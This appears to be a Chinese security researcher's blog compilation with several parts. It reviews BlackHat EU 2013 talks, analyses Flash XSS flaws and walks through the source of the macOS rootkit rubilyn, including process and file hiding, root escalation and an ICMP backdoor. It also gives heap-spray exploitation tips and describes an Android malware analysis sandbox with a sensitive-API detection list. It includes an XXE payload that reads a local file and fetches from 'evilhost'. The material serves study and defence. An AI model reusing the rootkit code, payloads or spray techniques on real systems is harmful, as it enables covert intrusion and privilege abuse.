关于BlackHat EU 2013大会

大会文档下载:https://www.blackhat.com/eu-13/archives.html

此次BH EU 议题整体较水,涉及系统安全、移动安全、网络传输安全、WEB安全、游戏安全等。下面随便挑几个议题简单介绍下,有些议题不是很感兴趣,有些也特水,有兴趣的自己到上面链接下载文档。

1、《A PERFECT CRIME? ONLY TIME WILL TELL》

讲述SSL攻击方法——CRIME,如何从SSL加密的会话中获取到cookie,CRIME原理就是通过在受害者的浏览器中运行JavaScript代码并同时监听HTTPS传输数据,进而解密会话Cookie,也算是中间人攻击MIMT的一种方法。该议题对CRIME方法进行扩展,介绍一种叫TIME (Timing Info-leak MadeEasy)的攻击手法,基于传输时间来猜测payload size,然后逐字猜解cookie。

2、《ADVANCED HEAP MANIPULATION IN WINDOWS 8》

介绍常堆及内核溢出利用技巧,以及在win8上改进后的内存安全保护机制。里面构造堆内存布局的exploit技巧,与以往利用信息泄露获取dll基址来绕过ASLR方法有些类似,都通过分配特定大小的堆块,然后释放出与造成溢出的堆块大小相同的堆块,触发漏洞后覆盖到特定结构。同时,介绍了内核中的堆块分配与释放的原理,然后讲述不同大小的堆块溢出后,如何构造相应的堆布局来实现利用。最后,以windows object内核漏洞为例,讲述win7\win8上的exploit技巧,在wihte paper中已给出相应的exploit代码。

3、《THE DEPUTIES ARE STILL CONFUSED》

总之,这议题很水,爱看不看。主要讲CSRF和点击劫持clickjacking的攻击技巧,里面也提到前段时间facebook爆出的OAuth2认证漏洞,点击劫持就讲下beef的clickjacking模块,然后提下防御点击劫持的x-frame-options

4、《Hacking Appliances: Ironic exploits in security products》

初看这标题,还以为是讲客户端软件漏洞利用呢,其实主要还是讲WEB安全的多一些,觉得有点水。

5、《HACKING VIDEO CONFERENCING SYSTEMS》

比较有趣的一个议题,主要讲述如何攻击语音会议系统,介绍了root提权以及远程调试的一些技巧,最后演示了一个后门shell。对这些不是很了解,有兴趣的自己看文档。

6、《Hardening your Windows 8 apps for the Windows Store》

很水,不解释

7、《Harnessing GP²Us Building Better Browser Based Botnets》

觉得这议题有点在玩概念,实际攻击场景或者实战的东西很少,太理论化了。GPU现在很多被用在暴力破解方面,比如跑MD5、跑WPA-PSK,速度比CPU快得N多,比五速鞋还五速鞋……该议题主要讲构造基于浏览器的僵尸网络botnet,利用WEB漏洞(如XSS,并提到利用html5的WEB存储特性、插件等等方法实现永久XSS)来执行代码,再用GPU跑数据,然后利用C&C服务器进行通讯。

8、《LET’S PLAY - APPLANTING》

很水,为什么这种也能上BH大会讲呢

9、《MULTIPLAYER ONLINE GAMES INSECURITY》

讲游戏漏洞相关的,主要涉及协议分析、常见客户端漏洞攻击等,没什么新鲜的东西,爱看不看。

10、《Next generation mobile rootkits》

相对比较前沿的东西,主要讲arm平台上的rookit设计,但PPT写得太简洁了,简单一些文本描述,很难完全理解其中意思。之前viaForensics也写一篇关于android rootkit的文档《Dude,where’s my droid?!》,发表于RootedCON 2013安全大会,推荐阅读。

11、《POWER ANALYSIS ATTACKS FOR CHEAPSKATES》

可能一些搞硬件hacking或者移动安全的朋友会感兴趣,应该属于边信道攻击一类,玩这种都需要花钱买设备,所以搞这些的一般都是高富帅,像kevin2600一样。

12、《XML Out-Of-Band Data Retrieval》

这种XML实体注入漏洞,在2011年的时候,80sec就有写过一篇文章提到《XML实体注入漏洞安全警告》http://www.80sec.com/xml-entity-injection.html,比如可用于读取文件,加载远程页面:

1
2
<!ENTITY % payload SYSTEM "file:///c:/boot.ini">
<!ENTITY % remote SYSTEM "http://evilhost/evil.xml">

漏洞实例见《zend framework文件读取漏洞分析》:http://zone.wooyun.org/content/508 ,不过最早是在2002年的时候老外就有提出过这个问题。

13、《Advanced iOS Application Pentesting》

看标题冒似很“高级”的样子,实则就介绍下ios的一些逆向工具和ios编程中用到的一些类而已,还是爱看不看。

14、《APPLICATION DEVELOPMENT SECURE CODING WORKSHOP》

主要讲WEB开发中安全编程,但主要就是在普及WEB安全漏洞的原理、防御等,包括XSS、注入、CSRF等等,算是总结性文章,没有新货,有兴趣的自个翻看下。

15、《Assessing BYOD with the Smarthpone Pentest Framework》

作者公布了一款智能机渗透测试框架——Smartphone Pentest Framework v0.1.5,包括一些浏览器漏洞、客户端漏洞、社会工程学漏洞以及本地提权等,利用漏洞获取shell后还可发送短信、获取通信录、短信、下载上传文件等,有些功能还是不错的,但漏洞利用方法相对单一,有其利用的局限性。该工具下载地址:
https://github.com/georgiaw/Smartphone-Pentest-Framework

若干flash xss漏洞分析

漏洞一

1
2
3
4
5
6
7
8
9
Parameters.getInstance().data = loaderInfo.parameters;

public function get onPlayStart():String{
return (_data["onPlayStart"]);
}

ExternalInterface.call(Parameters.getInstance().onPlayStart, _arg1);
ExternalInterface.call(Parameters.getInstance().onPlayStop);
ExternalInterface.call(Parameters.getInstance().onFileLoadedError);

漏洞二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function reload(u, show_loading) {

if (show_loading == undefined) {
show_loading = true;
}

if (show_loading) {
_root.loading = new Loading("Loading data...");
}

var _local2 = "";

if (_root.data != undefined) {
_local2 = _root.data;
}

if (u != undefined) {
if (u.length > 0) {
_local2 = u;
}
}

_root.lv = undefined;
_root.lv = new LoadVars();
_root.lv.onLoad = LoadVarsOnLoad;
_root.lv.make_chart = make_chart;
_root.lv.make_pie = make_pie;
_root.lv.load(_local2);
}

漏洞三

1
2
var csPreloader;
loader.loadClip(csPreloader, preloader_mc.target);

漏洞四

1
2
3
4
this.loadXML(file);
function init(file, ploader, bookmark, contentpath)
container.init(csConfigFile, preloader_mc, csFilesetBookmark, contentpath);
var csConfigFile;

漏洞五

1
2
3
4
5
6
7
8
9
10
11
12
13
    getURL(_loc2, this.playList.currentClip().getLinkWindow());
var _loc2 = this.playList.currentClip().getLinkURL();

_loc1.getLinkURL = function ()
{
return (this.linkUrl);
};

var _loc1 = (_global.org.flowplayer.playlist.Clip = function (name, baseUrl, fileName, start, end, protected, enableControl, linkUrl, linkWindow, type, allowResize, overlayFileName, overlayId, live, showOnLoadBegin, maxPlayCount, info, thumbnailUrl, suggestedClipsInfoUrl, id, keywords)

{
this.linkUrl = linkUrl;

漏洞六

1
2
3
4
5
6
7
8
9
10
     this.textField.htmlText = ['', content, ''].join('');

_global.sIFR = function (textField, content)
{ ……
this.write(content);
……
}

sIFR.instance = new sIFR(_loc3.txtF, _loc4);
_loc4 = sIFR.VERSION_WARNING.split("%s").join(_root.version);

漏洞七

1
2
this._setVar("_onClick", [_root.onclick, pConfig.onclick], "String");
getURL(this._onClick, this._onClickTarget);

自动化检测脚本

顺手写了个简单的检测已知漏洞的flash xss检测脚本,下载地址见 FlashScanner



Mac OSX rootkit rubilyn 源码分析

1、隐藏进程

在mac osx上,每个进程的上下文都保存在proc结构中,而在allproc链表中就保存着所有进程proc结构的指针,通过allproc链表移除相应进程的proc结构可隐藏正在进行的进程,下面是rubilyn中关于隐藏进程的代码,但目测通过ps -p pid 仍可列出进程,因为它并没有移除进程hash列表pidhashtbl中相关的进程信息,导致可通过pid查找到进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* modify allproc to hide a specific pid */
static int hideproc(int pid)
{
struct proc* p;
if(pid!=0){
// lh.first 指向allproc链表中的第1个元素,而p_list.le_next指向下个proc结构
for (p = my_allproc->lh_first; p != 0; p = p->p_list.le_next)
{
if(pid == p->p_pid)
{
if(hidden_p_count < MAX_HIDDEN_PROCESS)
{
hidden_p[hidden_p_count]=p;
hidden_p_count++;
my_proc_list_lock();
LIST_REMOVE(p, p_list); // 移除p_list结构中关于p进程的元素
my_proc_list_unlock();
}
}
}
}
return 0;
}

2、隐藏文件

为了对列出文件的相应系统函数进行挂钩,我们需要先对finder和ls所使用的函数进行进程跟踪,在mac上已经用Dtrace代替ktrace,在finder上主要是使用getdirentriesattr函数,而ls主要是使用getdirentries64,下面是用Dtrace分别对finder和ls的进程跟踪情况, calltrace.d 脚本内容如下:

1
2
3
4
5
6
7
8
9
riusksk@macosx:/usr/include/sys$ cat ~/Reverse\ engineering/Dtrace/calltrace.d 
pid$target:::entry
{
;
}
pid$target:::return
{
printf("=%d\n", arg1);
}

下面是查看finder进程2841的调用函数:

1
2
3
4
5
riusksk@macosx:/usr/include/sys$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -p 2841 | grep getdir
dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 573227 probes

2 1078881 getdirentriesattr:entry
2 1363229 getdirentriesattr:return =1

下面是ls命令(64位系统)调用的函数:

1
2
3
4
5
6
7
riusksk@macosx:~$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -c ls | grep getdir
dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 28745 probes
dtrace: pid 3184 has exited
2 271609 __getdirentries64:entry
2 285894 __getdirentries64:return =1980
2 271609 __getdirentries64:entry
2 285894 __getdirentries64:return =0

因此,我们若想在finder和ls中隐藏文件,只要对这两个函数 getdirentriesattr 和 getdirentries64 (32位的为getdirentries)进行挂钩处理即可。在系统调用函数表中,主要是由sysent结构数组构成,每个sysent结构中都包括参数个数sy_narg,执行函数sy_call 这些重要数据。sysent结构如下:

1
2
3
4
5
6
7
8
9
10
struct sysent { /* system call table */
int16_t sy_narg; /* number of args */
int8_t sy_resv; /* reserved */
int8_t sy_flags; /* flags */
sy_call_t *sy_call; /* implementing function */
sy_munge_t *sy_arg_munge32; /* system call arguments munger for 32-bit process */
sy_munge_t *sy_arg_munge64; /* system call arguments munger for 64-bit process */
int32_t sy_return_type; /* system call return types */
uint16_t sy_arg_bytes; /* Total size of arguments in bytes for* 32-bit system calls */
};

为了实现对上述系统函数的挂钩,通过修改相应函数sysent结构的sy_call来进行偷梁换柱,关于各系统函数的调用号和宏名均可在 /usr/include/sys/syscall.h中找到:

1
2
3
4
5
riusksk@macosx:/usr/include/sys$ cat syscall.h | grep getdir

#define SYS_getdirentries 196
#define SYS_getdirentriesattr 222
#define SYS_getdirentries64 344

下面是rubilyn中对系统调用函数getdirentries64 和 getdirentriesattr的挂钩代码,将这两个函数替换为自定义的 new_getdirentries64 和 new_getdirentriesattr ,同时保存原函数地址方便获取目录信息并进行篡改:

1
2
3
4
5
6
7
8
9
if(nsysent){
table = find_sysent();
if(table){
/* back up original syscall pointers */
org_getdirentries64 = (void *) table[SYS_getdirentries64].sy_call; // 保存原系统函数地址
org_getdirentriesattr = (void *) table[SYS_getdirentriesattr].sy_call;
/* replace syscalls in syscall table */
table[SYS_getdirentries64].sy_call = (void *) new_getdirentries64; // 替换原系统函数
table[SYS_getdirentriesattr].sy_call = (void *) new_getdirentriesattr;

两个替换函数执行的操作有点类似,主要是移除指定文件的dirent结构,其中dirent结构原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
struct dirent {
__uint32_t d_fileno; // 节点号
__uint16_t d_reclen; // 目录项长度
__uint8_t d_type; // 文件类型
__uint8_t d_namlen; // 文件名
#if __BSD_VISIBLE
#define MAXNAMLEN 255
char d_name[MAXNAMLEN+1]; // 文件名
#else
char d_name[255+1]; // 文件名
#endif
}

此处我们只看下 new_getdirentries64 函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/* hooked getdirentries64 and friends */
register_t new_getdirentries64(struct proc *p, struct getdirentries64_args *uap, user_ssize_t *retval)
{
int ret;
u_int64_t bcount = 0;
u_int64_t btot = 0;
size_t buffersize = 0;
struct direntry *dirp;
void *mem = NULL;
int updated = 0;
ret = org_getdirentries64(p,uap,retval); // 调用原函数获取目录信息
btot = buffersize = bcount = *retval; // 函数返回的字节数
if(bcount > 0)
{
MALLOC(mem,void *,bcount,M_TEMP,M_WAITOK); // 在内核空间分配bcount大小的内存
if(mem == NULL)
return(ret);
copyin(uap->buf, mem, bcount); // 将用户空间数据拷贝到刚分配的内核空间
dirp = mem;
while(bcount > 0 && dirp->d_reclen > 0)
{
if(dirp->d_reclen > 7)
// 搜索指定文件名
if(strncmp(dirp->d_name,(char*)&k_dir,strlen((char*)&k_dir)) == 0)
{
char *next = (char *) dirp + dirp->d_reclen; // 下一目录项
u_int64_t offset = (char *) next - (char *) mem ; // 当前文件目录项大小
bcount -= dirp->d_reclen; // 递减字节数
btot -= dirp->d_reclen; // 递减目录项长度
bcopy(next,dirp,buffersize - offset); // 覆盖指定文件的目录项,从而实现文件隐藏
updated = 1;
continue;
}
bcount -= dirp->d_reclen;
dirp = (struct direntry *) ((char *) dirp + dirp->d_reclen);
}
if(updated == 1)
{
copyout(mem,uap->buf,btot); // 将修改后的数据返回给用户空间
*retval = btot;
}
FREE(mem,M_TEMP); // 释放内核内存
}
return ret;
}

3、设置Root进程

先通过pid获取进程proc结构,然后更改其中进程属主字段p_ucred为0,即root属主。源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static int getroot(int pid)
{
struct proc *rootpid;
kauth_cred_t creds;
rootpid = proc_find(pid);
if(!rootpid)
return 0;
lck_mtx_lock((lck_mtx_t*)&rootpid->p_mlock); // 设置互斥锁
creds = rootpid->p_ucred; // 进程属主
creds = my_kauth_cred_setuidgid(rootpid->p_ucred,0,0); // 设置进程属主id为0(root)
rootpid->p_ucred = creds;
lck_mtx_unlock((lck_mtx_t*)&rootpid->p_mlock); // 解锁
return 0;
}

4、隐藏网络端口、用户名和内核模块

通过对write_nocancel函数挂钩,然后对 grep、sysctl、netstat、kextstat、w和who等命令的输出结果进行过滤,当命令输出结果中包含rubilyn模块名以及特写端口和用户名时就直接返回,否则就调用原始的write_nocanel函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/* hooked write_nocancel for hiding console stuff */
int new_write_nocancel(struct proc* p, struct write_nocancel_args *uap, user_ssize_t* retval)
{
char buffer[MAXBUFFER];
if(strncmp(p->p_comm, grep, strlen(p->p_comm))==0||strncmp(p->p_comm, sysctl,strlen(p->p_comm))==0||
strncmp(p->p_comm, kextstat,strlen(p->p_comm))==0){
bzero(buffer, sizeof(buffer));
copyin(uap->cbuf, buffer, sizeof(buffer)-1);
if(my_strstr(buffer, rubilyn))
return(uap->nbyte);
}
if(strncmp(p->p_comm, netstat,strlen(p->p_comm))==0){
bzero(buffer, sizeof(buffer));
copyin(uap->cbuf, buffer, sizeof(buffer)-1);
if(my_strstr(buffer, (char*)&k_port))
return(uap->nbyte);
}
if((strncmp(p->p_comm,w,strlen(p->p_comm))==0||strncmp(p->p_comm,who,strlen(p->p_comm))==0))
{
bzero(buffer, sizeof(buffer));
copyin(uap->cbuf, buffer, sizeof(buffer)-1);
if(my_strstr(buffer, (char*)&k_user))
return(uap->nbyte);
}
return org_write_nocancel(p,uap,retval);
}

5、设置ICMP 后门

首先添加IPv4过滤器ip_filter_ipv4:

1
2
3
4
5
6
7
8
9
10
11
 /* install IPv4 filter hook */
ipf_addv4(&ip_filter_ipv4, &ip_filter_ipv4_ref);

ip_filter_ipv4结构如下:

static struct ipf_filter ip_filter_ipv4 = {
.name = "rubilyn",
.ipf_input = ipf_input,
.ipf_output = ipf_output,
.ipf_detach = ipf_detach,
};

当传给用户的ICMP数据包中包含有以下特定数据时就以root权限执行命令:

1
2
3
4
5
/* ICMP backdoor configuration */
#define MAGIC_ICMP_TYPE 0
#define MAGIC_ICMP_CODE 255 /* xor'd magic word*/
#define MAGIC_ICMP_STR "\x27\x10\x3\xb\x46\x8\x1c\x10\x1e" // 解密后为“n0mn0mn0m”
#define MAGIC_ICMP_STR_LEN 9

ipf_input主要处理传给用户的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static errno_t ipf_input(void* cookie, mbuf_t *data, int offset, u_int8_t protocol)
{
char buf[IP_BUF_SIZE];
struct icmp *icmp;
if (!(data && *data))
return 0;
if (protocol != IPPROTO_ICMP)
return 0;
mbuf_copydata(*data, offset, IP_BUF_SIZE, buf);
icmp = (struct icmp *)&buf;
// 检测接收的icmp数据包中是否包含后门的特征数据,若是则调用KUNCExecute函数执行命令
if(icmp->icmp_type==MAGIC_ICMP_TYPE&&icmp->icmp_code== MAGIC_ICMP_CODE && strncmp(icmp->icmp_data, icmpstr, MAGIC_ICMP_STR_LEN)==0)
{
my_KUNCExecute((char*)&k_cmd, kOpenAppAsRoot, kOpenApplicationPath);
}
return 0;
}

rubilyn还有个命令行控制台rubilyncon,通过输入参数选项来执行上面某项功能,主要都是通过sysctl控制内核变量来招待相应函数,这些内核变量都是在rubilyn中用sysctl注册的,通过这些内核变量可从用户层直接与rubilyn内核扩展进行交互来执行恶意操作。

Heap Spray 技术要点

1、堆喷射堆块大小 ≈ 程序堆块分配大小,以减小堆空隙大小。

2、不能使用堆缓存块,否则可能破坏地址的可预测性,可通过申请6块相应大小的堆块来清空缓存。

3、精确定位ROP地址,目标地址如0x0c0c0c0c至堆块数据起始地址的offset = ( 0x0c0c0c0c - UserPtr(堆数据起始地址))/2,IE7:0x5FA,IE8:0x5F4/0x5F6,IE9:0x5FC/0x5FE,Firefox9:0x606,可能不同语言版本会存在偏差。

4、不同系统、不同浏览器版本喷射块大小:

1
2
3
4
5
6
7
XP SP3 – IE7    block = shellcode.substring(2,0x10000-0×21);
XP SP3 – IE8 block = shellcode.substring(2, 0x40000-0×21);
Vista SP2 – IE7 block = shellcode.substring(0, (0x40000-6)/2);
Vista SP2 – IE8 block = shellcode.substring(0, (0x40000-6)/2);
Win7 – IE8 block = shellcode.substring(0, (0x80000-6)/2);
Vista/Win7 – IE9 block = shellcode.substring(0, (0x40000-6)/2);
XP SP3/VISTA SP2/WIN7 - Firefox9 block = shellcode.substring(0, (0x40000-6)/2);

5、Nozzle保护机制(IE):检测是否存在重复可转换成汇编代码的字段,若存在则阻止其内存申请。

6、BuBBle保护机制(Firefox):检测JavaScript是否尝试重复申请 NOPs + shellcode (padding + rop chain + shellcode + padding)的内存块,若发现包含这些字段则阻止其内存申请。

7、分配 随机数 + rop + shellcode + 随机数 的堆块,以保证各分配块都是不同的,以此绕过上述保护机制,主要针对IE9。

8、利用随机变量名 + 随机块绕过 Firefox9 的保护。

9、HTML5 Heap Spray:EUSecWest2012上的演讲主题,通杀Chrome、Firefox、IE9和Safari
a、利用canvas标签定义图形,通过脚本控制每个像素的数据再进行喷射;
b、利用Web Worker的多线程功能,加速堆喷射过程,但IE不支持Worker.

Android恶意软件沙盒自动化分析原理与实现

【作者】:riusksk(泉哥)
【团队】:腾讯安全应急响应中心
【日期】:2012年10月2日

一、 前言

据网秦发布的《2012年上半年全球手机安全报告》,2012年上半年Android病毒感染量增长迅猛,尤以5、6月最为突出,上半年感染手机1283万部,比2011年下半年增长62%。在全球范围内,中国大陆地区被感染率占居首位。面对增长如此迅速的Android软件,安全研究人员常常需要逆向分析样本,分析出其恶意行为,但手工分析较费时间。在DEX文件反混淆技术的不遍推广和普及下,比如今年的BlackHat就有DEX反混淆的专题及相应工具公布,现在已有很多恶意软件使用到这些反混淆技术,这就加大了样本分析的难度及所花费的时间。本文主要讲述如何利用Android沙盘实现自动化分析恶意软件的方法,其中介绍了Android沙盘的原理,以及由笔者编写的Android沙盘——MalDroidAnalyzer,后面会提供由MalDroidAnalyzer分析真实病毒时自动生成的分析报告。

二、 Android常见恶意软件行为

1、 恶意扣费

病毒在后台发送扣费短信、拔打电话进行恶意扣费,同时会对服务商发回的服务短信进行屏蔽,破坏系统的正常功能,同时对用户造成资费损失。

2、隐私窃取

病毒通过后台服务窃取用户隐私信息,包括通话录音、短信内容、IMEI、IMSI、地理位置、通讯录、浏览器历史记录等信息,然后上传到黑客控制的远程服务器。

3、远程控制

病毒在后台开机自动,并与C&C服务器进行通讯,并从中获取加密的指令,解密后执行相应的恶意操作,也有通过SMS进行控制,构造出botnet,从而大规模地远程控制用户的手机。比如之前著名的AnserverBot病毒,就是通过新浪博客进行远程控制,也是首个利用第三方站点作为C&C服务器的Android病毒。

4、系统破坏

病毒通过系统漏洞进行ROOT提权,并执行高权限操作,在后台静默安装子程序包,或者通过伪造成杀毒软件、提示更新等方式欺骗用户安装第三方恶意程序。病毒可能会更改网络状态、APN,或者替换系统文件、添加恶意书签、屏蔽运营商短信、中止杀软进程等方式进行系统破坏。

5、其它

病毒在后台联网下载大量软件,消耗用户手机流量,或者执行一些比较耗电的操作来消耗手机电量,进而影响正常的手机通信。也有些一些病毒通过钓鱼欺骗等方式,诱骗用户下载伪装软件,导致帐户密码失窃。

三、 Android沙盘原理

本文主要介绍一款Android恶意软件行为自动分析平台——MalDroidAnalyzer,其主要结合静态分析和动态分析技术来实现恶意软件行为自动化分析。MalDroidAnalyzer是笔者使用Perl语言编写的,用于辅助分析Android软件行为,提高恶意软件的分析效率。

首先,MalDroidAnalyzer直接以apk文件作为输入,整个分析过程主要分析两部分:静态分析和动态分析。静态分析会通过反编译apk文件,分析其中的权限、组件、敏感函数等信息,这些可以弥补动态分析中因未触发恶意行为而漏掉的行为。动态分析主要通过在模拟器运行Android软件,然后再对软件进行一些操作以触发尽可能多的恶意行为,接着输出到log中,再通过脚本对日志进行分析。由于Android系统默认情况下,一些输出日志里面缺乏我们所需的信息,比如发送短信时,只在log中记录手机号,而没有短信内容,此时就需要通过修改Android源码或者反汇编system.img中的相关类或者库进行修改,可以在短信发送函数sendTextMessage(位于system.img中的framework/framework.jar)里面添加短信内容的日志输出:

下面是可能需要修改的相关文件,包括源码位置和编译后所对应的相关文件,可根据自身需要进行修改:

1
2
3
4
5
6
7
发送短信:android.telephony.SmsManager(system.img中的framework/framework.jar)
文件操作:org.apache.harmony.luni.platform.OSFileSystem(system.img中的framework/core.jar)
网络操作:org.apache.harmony.luni.platform.OSNetworkSystem(system.img中的framework/core.jar)
拔打电话:android.app.Activity(system.img中的framework/framework.jar)
启动服务:android.content.ContextWrapper(system.img中的framework/framework.jar)
数据加解密:javax.crypto.Cipher(system.img中的framework/core.jar)
核心库:dalvik/vm/native(system.img中的lib/libdvm.so)

关于apk文件及MalDroidAnalyzer的工作流程如下图所示:

1、静态分析

沙盘MalDroidAnalyzer主要在电脑端对APK进行静态分析,通过apktool先进行反编译处理。正常的APK文件主要是以zip格式进行压缩捆绑的文档,里面主要包含AndroidManifest.xml、Classes.dex和res等文件。在反编译后会得到明文的AndroidManifest.xml,里面定义各组件、组件权限和启动位置、软件基本信息等,通过对该xml文件的分析,可以获取到软件名称、包名等基本信息,同时对包含的各个组件进行分析,特别是Broadcast Receiver组件的触发条件,可能就包含有开机自启动项用于启动后台服务,这些在报告中都会被高亮显示出来。

在动态分析过程中,可能由于恶意行为的时间限制,或者模拟器的功能限制(比如蓝牙、Wifi),导致病毒的一些恶意行为无法触发。此时,我们通过检测Android软件调用的API函数可弥补这里的不足,比如发送扣费短信通常会调用sendTextMessage()函数,执行外部命令可能会调用java.lang.Runtime.exec()。下面是笔者收集整理的一些敏感API函数列表,欢迎各位读者补充和改进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
my %apis = (
"IActivityManager\$Stub\$Proxy\;\-\>shutdown" => '关机',
"ActivityManager\;\-\>killBackgroundProcesses" => '中断进程,可用于关闭杀软',
'ActivityManagerNative;->killBackgroundProcesses' => '中断进程,可用于关闭杀软',
'ActivityManagerNative;->restartPackage' => ' 中断进程,可用于关闭杀软',
'ActivityManager;->restartPackage' => ' 中断进程,可用于关闭杀软',
#"BluetoothAdapter\;\-\>enable" => '开启蓝牙',
#"BluetoothSocket\;\-\>connect" => '连接蓝牙',
#"IBluetoothPbap\$Stub\$Proxy\;\-\>connect" => '连接蓝牙',
"ContentResolver\;\-\>query" => '读取联系人、短信等数据库',
"ContentService\;\-\>dump" => '转储联系人、短信等信息',
"PackageManager\;\-\>installPackage" => '安装apk包',
"Camera\;\-\>open" => '开启相机',
"MediaRecorder\;\-\>setAudioSource" => '开启录音功能',
"MediaRecorder\;\-\>setVideoSource" => '开启视频录制',
"LocationManager\;\-\>getLastKnownLocation" => '获取地址位置',
"Downloads\$ByUri\;\-\>startDownloadByUri" => '下载文件',
"Downloads\$DownloadBase\;\-\>startDownloadByUri" => '下载文件',
"PowerManager\;\-\>reboot" => '重启手机',
"Settings\$Bookmarks\;\-\>add" => '添加浏览器书签',
"TelephonyManager\;\-\>getDeviceId" => '搜集用户手机IMEI码、电话号码、系统版本号等信息',
"TelephonyManager\;\-\>getSimSerialNumber()" => '获取SIM序列号',
"Telephony\$Mms\;\-\>query" => '读取短信',
"TelephonyManager\;\-\>getLine1Number" => '获取手机号',
"SpeechRecognizer\;\-\>startListening" => '开启麦克风',
"WifiManager\;\-\>setWifiEnabled" => '开启WIFI',
"SmsManager\;\-\>getAllMessagesFromSim" => '获取sim卡上的短信',
"SmsManager\;\-\>sendDataMessage" => '发送二进制消息',
"SmsManager\;\-\>sendMultipartTextMessage" => '发送彩信',
"SmsManager\;\-\>sendTextMessage" => '发送普通短信',
#"http/multipart/FilePart;->sendData" => '发送http请求',
#"http/multipart/Part\;\-\>send" => '发送http请求',
#"http/multipart/Part\;\-\>sendParts" => '发送http请求',
#"http/multipart/StringPart\;\-\>sendData" => '发送http请求',
"internal/telephony/ISms\$Stub\$Proxy\;\-\>sendData" => '发送短信',
"internal/telephony/ISms\$Stub\$Proxy\;\-\>sendMultipartText" => '发送短信',
"internal/telephony/ISms\$Stub\$Proxy\;\-\>sendText" => '发送短信',
"internal/telephony/ITelephony\$Stub\$Proxy\;\-\>call" => '拔打电话',
"java/lang/Runtime\;\-\>exec" => '执行字符串命令',
"java/net/HttpURLConnection\;\-\>connect" => '连接URL',
#"java/net/URL\;\-\>getContent" => '获取网页内容',
"java/net/URL\;\-\>openConnection" => '连接URL',
"java/net/URLConnection\;\-\>connect" => '连接URL',
"DefaultHttpClient\;\-\>execute" => '发送HTTP请求',
"HttpClient\;\-\>execute" => '请求远程服务器', 'android/app/NotificationManager;->notify' => '信息通知栏',
"SmsReceiver\;\-\>abortBroadcast" => '拦截短信接收',
"ContentResolver\;\-\>delete" => '删除短信、联系人',
"chmod " => '更改文件权限',
"getRuntime" => '获取命令行环境',
#'content://telephony/carriers' => '获取所有的APN(网络接入点)配置信息',
'content://telephony/carriers/preferapn' => '可能用于篡改APN(网络接入点)以调用应用市场M-Market扣费接口并验证',
'content://sms' => '获取短信数据库',
'content://browser/bookmarks' => '获取浏览器书签',
'mount -o remount' => '重新挂载档案系统',
'/system/bin/sh' => '执行shell',
'/proc/mounts' => '加载文件系统',
'/system/bin/cp' => '复制文件',
'/root/su' => '切换用户',
'/system/bin/rm ' => '删除文件',
);

2、动态分析

动态分析是Android沙盘的主要功能,主要使用Google Android模拟器作为沙盘环境,同时以前面修改过的system.img来启动模拟器,以在操作过程中生成我们所需的日志信息:

1
system('start emulator -avd MalDroidAnalyzer -scale 0.8  -system images/root-system.img -ramdisk images/ramdisk.img -kernel images/zImage  -prop dalvik.vm.execution-mode=int:portable &');

这里的root-system.img是经过root的,默认情况下,Android模拟器是没有root权限的,需要自己手工修改,这个可通过YAFFS2 img浏览器来修改system.img,将su和superuser放置到系统应用目录下,并将build.prop中的ro.config.nocheckin=yes注释掉,将修改后的system.img替换原文件即可。。这样在一些需要root权限的病毒才能正常地模拟器运行,以触发更多的恶意行为。

启动模拟器后,利用adb安装APK到模拟器上。业界多数沙盘是通过monkey去自动操作软件以触发恶意行为,但这种做法过于盲目,不容易触发恶意行为,同时当操作过于频繁时容易导致程序崩溃,因此在MalDroidAnalyzer中选择由用户自主手工操作,操作时间由用户自己把握。手工操作可能更有利于触发恶意行为,因为病毒作者通常会更多地依赖用户的操作习惯来触发恶意行为,比如点击、拔打电话等行为。
为了避免生成过多的无用日志,因此在使用logcat命令时可提前过滤下,并输出到log.txt文件:

1
system("adb logcat -v time ActivityManager:I camera:V AudioHardware:D Telephony:V CallNotifier:D su:D MediaProvider:V videocamera:V BluetoothEnabler:V BluetoothHIDService:I dalvikvm:W *:S  > log.txt");

最后对生成的日志log.txt进行分析,由于修改过system.img,它会按照json格式输出我们所需的信息,而有些原本Android系统输出的日志可直接拿来作行为检测,就未作修改。日志格式如下:

1
2
3
4
5
6
7
09-16 10:18:04.583 W/dalvikvm(  299): MalDroid: { "DexClassLoader": { "path": "/data/data/com.test/files/anserverb.db" } }
09-16 10:17:27.963 W/dalvikvm( 281): MalDroid: { "SendNet": { "desthost": "www.google.com", "destport": "80", "data": "7b2263656c6c5f746f77657273223a5b7b226d6f62696c655f6e6574776f726b5f636f6465223a32362c226c6f636174696f6e5f617265615f636f6465223a2d312c226d6f62696c655f636f756e7472795f636f6465223a3331302c2263656c6c5f6964223a2d317d5d2c22726571756573745f61646472657373223a747275652c22686f7374223a226d6170732e676f6f676c652e636f6d222c2276657273696f6e223a22312e312e30227d" } }
09-09 08:37:10.371 W/dalvikvm( 191): MalDroid: { "CryptoUsage": { "operation": "keyalgo", "key": "53, 52, 67, 68, 65, 48, 54, 51, 67, 68, 53, 56, 68, 56, 53, 70", "algorithm": "AES" } }
09-09 08:37:12.560 W/dalvikvm( 191): MalDroid: { "CryptoUsage": { "operation": "encryption", "algorithm": "AES/CBC/PKCS5Padding", "data": "ylmftg6" } }
09-17 20:17:14.302 W/dalvikvm( 274): MalDroid: { "ServiceStart": { "name": "com.android.md5.Settings" } }
